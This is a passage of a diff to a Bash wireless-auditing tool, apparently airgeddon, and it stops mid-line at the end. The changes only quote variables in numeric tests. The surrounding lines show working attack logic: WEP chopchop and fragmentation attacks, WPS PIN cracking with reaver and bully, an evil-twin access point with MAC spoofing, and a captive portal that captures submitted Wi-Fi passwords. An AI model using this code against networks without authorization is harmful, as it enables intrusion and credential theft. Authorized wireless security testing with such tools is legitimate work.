if [ ${wep_fragmentation_phase} -lt 4 ]; then + if [ "${wep_fragmentation_phase}" -lt 4 ]; then wep_fragmentation_attack fi - if [ ${wep_chopchop_phase} -lt 4 ]; then + if [ "${wep_chopchop_phase}" -lt 4 ]; then wep_chopchop_attack fi EOF @@ -4160,7 +4160,7 @@ function set_wep_script() { ivs_cmd+="| awk '{print \$11}' FS=',' | sed 's/ //g'" current_ivs=$(eval "${ivs_cmd}") - if [[ ${current_ivs} -ge 5000 ]] && [[ ${wep_aircrack_launched} -eq 0 ]]; then + if [[ "${current_ivs}" -ge 5000 ]] && [[ "${wep_aircrack_launched}" -eq 0 ]]; then wep_aircrack_launched=1 EOF @@ -4181,7 +4181,7 @@ function set_wep_script() { fi wep_aircrack_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_aircrack_pid}$" 2> /dev/null) - if [[ -z "${wep_aircrack_pid_alive}" ]] && [[ ${wep_aircrack_launched} -eq 1 ]]; then + if [[ -z "${wep_aircrack_pid_alive}" ]] && [[ "${wep_aircrack_launched}" -eq 1 ]]; then break elif [[ -z "${wep_capture_pid_alive}" ]]; then break @@ -6757,7 +6757,7 @@ function wps_attacks_menu() { set_bully_verbosity db_error=0 - if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then + if [[ "${pin_dbfile_checked}" -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then if check_pins_database_file; then echo language_strings "${language}" 373 "blue" @@ -6788,7 +6788,7 @@ function wps_attacks_menu() { get_reaver_version db_error=0 - if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then + if [[ "${pin_dbfile_checked}" -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then if check_pins_database_file; then echo language_strings "${language}" 373 "blue" @@ -6890,7 +6890,7 @@ function offline_pin_generation_menu() { ;; 5) db_error=0 - if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then + if [[ "${pin_dbfile_checked}" -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then if check_pins_database_file; then echo language_strings "${language}" 373 "blue" @@ -6908,7 +6908,7 @@ function offline_pin_generation_menu() { if [ "${db_error}" -eq 0 ]; then if wps_attacks_parameters "no_monitor_check"; then wps_pin_database_prerequisites "no_attack" - if [ ${bssid_found_in_db} -eq 1 ]; then + if [ "${bssid_found_in_db}" -eq 1 ]; then echo language_strings "${language}" 499 "blue" echo "${wps_data_array["${wps_bssid}",'Database']}" @@ -7515,7 +7515,7 @@ function check_valid_file_to_clean() { fi done - if [ ${option_counter} -le 1 ]; then + if [ "${option_counter}" -le 1 ]; then return 1 fi @@ -7716,14 +7716,14 @@ function select_wpa_bssid_target_from_captured_file() { done bssid_autoselected=0 - if [ ${option_counter} -gt 1 ]; then + if [ "${option_counter}" -gt 1 ]; then option_counter=0 for item in ${nets_from_file}; do if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then option_counter=$((option_counter + 1)) - if [ ${option_counter} -lt 10 ]; then + if [ "${option_counter}" -lt 10 ]; then space=" " else space="" @@ -7752,7 +7752,7 @@ function select_wpa_bssid_target_from_captured_file() { bssid=${bssids_detected[${target_network_on_file}]} - if [ ${bssid_autoselected} -eq 1 ]; then + if [ "${bssid_autoselected}" -eq 1 ]; then language_strings "${language}" 217 "blue" fi @@ -8808,7 +8808,7 @@ function set_minlength_and_maxlength() { set_minlength "${1}" maxlength=0 - while [[ ${maxlength} -lt ${minlength} ]]; do + while [[ "${maxlength}" -lt "${minlength}" ]]; do set_maxlength "${1}" done } @@ -9160,7 +9160,7 @@ function handle_asleap_attack() { if [ -f "${tmpdir}${enterprisedir}${enterprise_successfile}" ]; then local result result=$(cat "${tmpdir}${enterprisedir}${enterprise_successfile}") - if [[ ${result} -eq 0 ]] || [[ ${result} -eq 2 ]]; then + if [[ "${result}" -eq 0 ]] || [[ "${result}" -eq 2 ]]; then ask_yesno 537 "no" if [ "${yesno}" = "y" ]; then @@ -9207,7 +9207,7 @@ function select_captured_enterprise_user() { local space=" " declare -A temp_array_enterpise_users for item in "${!enterprise_captured_challenges_responses[@]}"; do - if [ ${counter} -gt 9 ]; then + if [ "${counter}" -gt 9 ]; then space=" " fi counter=$((counter + 1)) @@ -9219,7 +9219,7 @@ function select_captured_enterprise_user() { option_enterprise_user_selected="" while [[ -z "${option_enterprise_user_selected}" ]]; do read -rp "> " option_enterprise_user_selected - if [[ ! "${option_enterprise_user_selected}" =~ ^[0-9]+$ ]] || [[ ${option_enterprise_user_selected} -lt 1 ]] || [[ ${option_enterprise_user_selected} -gt ${counter} ]]; then + if [[ ! "${option_enterprise_user_selected}" =~ ^[0-9]+$ ]] || [[ "${option_enterprise_user_selected}" -lt 1 ]] || [[ "${option_enterprise_user_selected}" -gt ${counter} ]]; then option_enterprise_user_selected="" echo language_strings "${language}" 543 "red" @@ -9586,7 +9586,7 @@ function launch_fake_ap() { fi fi - if [ ${mac_spoofing_desired} -eq 1 ]; then + if [ "${mac_spoofing_desired}" -eq 1 ]; then set_spoofed_mac "${interface}" fi @@ -9695,7 +9695,7 @@ function set_dhcp_config() { fi done - if [ ${leases_found} -eq 1 ]; then + if [ "${leases_found}" -eq 1 ]; then echo -e "lease-file-name \"${possible_dhcp_leases_files[${key_leases_found}]}\";" >> "${tmpdir}${dhcpd_file}" chmod a+w "${possible_dhcp_leases_files[${key_leases_found}]}" > /dev/null 2>&1 else @@ -10135,7 +10135,7 @@ function set_wps_attack_script() { "pindb"|"custompin"|"nullpin") for item in "${LINES_TO_PARSE[@]}"; do if [ "${script_wps_attack_tool}" = "reaver" ]; then - if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then + if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ "${pin_cracked}" -eq 1 ]]; then if [[ ${item} =~ ${pin_cracked_regexp} ]]; then cracked_pin="${BASH_REMATCH[1]}" continue @@ -10175,14 +10175,14 @@ function set_wps_attack_script() { return 0 fi done - if [ ${pin_cracked} -eq 1 ]; then + if [ "${pin_cracked}" -eq 1 ]; then return 0 fi ;; "bruteforce") for item in "${LINES_TO_PARSE[@]}"; do if [ "${script_wps_attack_tool}" = "reaver" ]; then - if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then + if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ "${pin_cracked}" -eq 1 ]]; then if [[ ${item} =~ ${pin_cracked_regexp} ]]; then cracked_pin="${BASH_REMATCH[1]}" continue @@ -10244,7 +10244,7 @@ function set_wps_attack_script() { "pindb") for current_pin in "${script_pins_found[@]}"; do possible_bully_timeout=0 - if [ ${attack_pin_counter} -ne 1 ]; then + if [ "${attack_pin_counter}" -ne 1 ]; then sleep 1.5 fi bad_attack_this_pin_counter=0 @@ -10280,16 +10280,16 @@ function set_wps_attack_script() { continue elif [ "${output}" = "2" ]; then continue - elif [[ "${output}" = "3" ]] || [[ "${this_pin_timeout}" -eq 1 ]] || [[ ${possible_bully_timeout} -eq 1 ]]; then + elif [[ "${output}" = "3" ]] || [[ "${this_pin_timeout}" -eq 1 ]] || [[ "${possible_bully_timeout}" -eq 1 ]]; then if [ "${this_pin_timeout}" -eq 1 ]; then continue fi bad_attack_this_pin_counter=$((bad_attack_this_pin_counter + 1)) - if [ ${bad_attack_this_pin_counter} -eq 3 ]; then + if [ "${bad_attack_this_pin_counter}" -eq 3 ]; then this_pin_timeout=1 continue fi - if [ ${possible_bully_timeout} -eq 1 ]; then + if [ "${possible_bully_timeout}" -eq 1 ]; then this_pin_timeout=1 continue fi @@ -10322,8 +10322,8 @@ function set_wps_attack_script() { if [ "${this_pin_timeout}" -ne 1 ]; then if [ "${output}" = "1" ]; then this_pin_timeout=1 - elif [ ${possible_bully_timeout} -eq 1 ]; then - if [ ${possible_bully_timeout} -eq 1 ]; then + elif [ "${possible_bully_timeout}" -eq 1 ]; then + if [ "${possible_bully_timeout}" -eq 1 ]; then this_pin_timeout=1 fi fi @@ -10369,7 +10369,7 @@ function set_wps_attack_script() { ;; esac - if [ ${pin_cracked} -eq 1 ]; then + if [ "${pin_cracked}" -eq 1 ]; then EOF cat >&7 <<-EOF @@ -10527,17 +10527,17 @@ function set_enterprise_control_script() { fi done - if [[ ${hash_captured} -eq 1 ]] || [[ ${plaintext_password_captured} -eq 1 ]]; then + if [[ "${hash_captured}" -eq 1 ]] || [[ "${plaintext_password_captured}" -eq 1 ]]; then touch "${success_file}" > /dev/null 2>&1 fi - if [[ ${hash_captured} -eq 1 ]] && [[ ${plaintext_password_captured} -eq 0 ]]; then + if [[ "${hash_captured}" -eq 1 ]] && [[ "${plaintext_password_captured}" -eq 0 ]]; then echo 0 > "${success_file}" 2> /dev/null return 0 - elif [[ ${hash_captured} -eq 0 ]] && [[ ${plaintext_password_captured} -eq 1 ]]; then + elif [[ "${hash_captured}" -eq 0 ]] && [[ "${plaintext_password_captured}" -eq 1 ]]; then echo 1 > "${success_file}" 2> /dev/null return 0 - elif [[ ${hash_captured} -eq 1 ]] && [[ ${plaintext_password_captured} -eq 1 ]]; then + elif [[ "${hash_captured}" -eq 1 ]] && [[ "${plaintext_password_captured}" -eq 1 ]]; then echo 2 > "${success_file}" 2> /dev/null return 0 fi @@ -10584,7 +10584,7 @@ function set_enterprise_control_script() { last_username="" break_on_next_loop=0 while true; do - if [ ${break_on_next_loop} -eq 1 ]; then + if [ "${break_on_next_loop}" -eq 1 ]; then tput ed fi EOF @@ -10602,7 +10602,7 @@ function set_enterprise_control_script() { secs=$(date -u --date @$(($(date +%s) - date_counter)) +%S) echo -e "\t${hours}:${mins}:${secs}" - if [ ${break_on_next_loop} -eq 0 ]; then + if [ "${break_on_next_loop}" -eq 0 ]; then EOF cat >&7 <<-EOF @@ -10631,7 +10631,7 @@ function set_enterprise_control_script() { echo -e "\t${plaintext_pass_counter_message} ${plaintext_pass_counter}" fi - if [ ${break_on_next_loop} -eq 1 ]; then + if [ "${break_on_next_loop}" -eq 1 ]; then kill_enterprise_windows EOF @@ -11188,7 +11188,7 @@ function set_captive_portal_page() { cat >&4 <<-'EOF' POST_DATA=$(cat /dev/stdin) - if [[ "${REQUEST_METHOD}" = "POST" ]] && [[ ${CONTENT_LENGTH} -gt 0 ]]; then + if [[ "${REQUEST_METHOD}" = "POST" ]] && [[ "${CONTENT_LENGTH}" -gt 0 ]]; then POST_DATA=${POST_DATA#*=} password=${POST_DATA/+/ } password=${password//[*&\/?<>]} @@ -11196,7 +11196,7 @@ function set_captive_portal_page() { password=${password//[*&\/?<>]} fi - if [[ ${#password} -ge 8 ]] && [[ ${#password} -le 63 ]]; then + if [[ "${#password}" -ge 8 ]] && [[ "${#password}" -le 63 ]]; then EOF cat >&4 <<-EOF @@ -11235,7 +11235,7 @@ function set_captive_portal_page() { EOF cat >&4 <<-'EOF' - elif [[ ${#password} -gt 0 ]] && [[ ${#password} -lt 8 ]]; then + elif [[ "${#password}" -gt 0 ]] && [[ "${#password}" -lt 8 ]]; then EOF cat >&4 <<-EOF @@ -11252,7 +11252,7 @@ function set_captive_portal_page() { EOF cat >&4 <<-'EOF' - if [ ${et_successful} -eq 1 ]; then + if [ "${et_successful}" -eq 1 ]; then exit 0 else echo '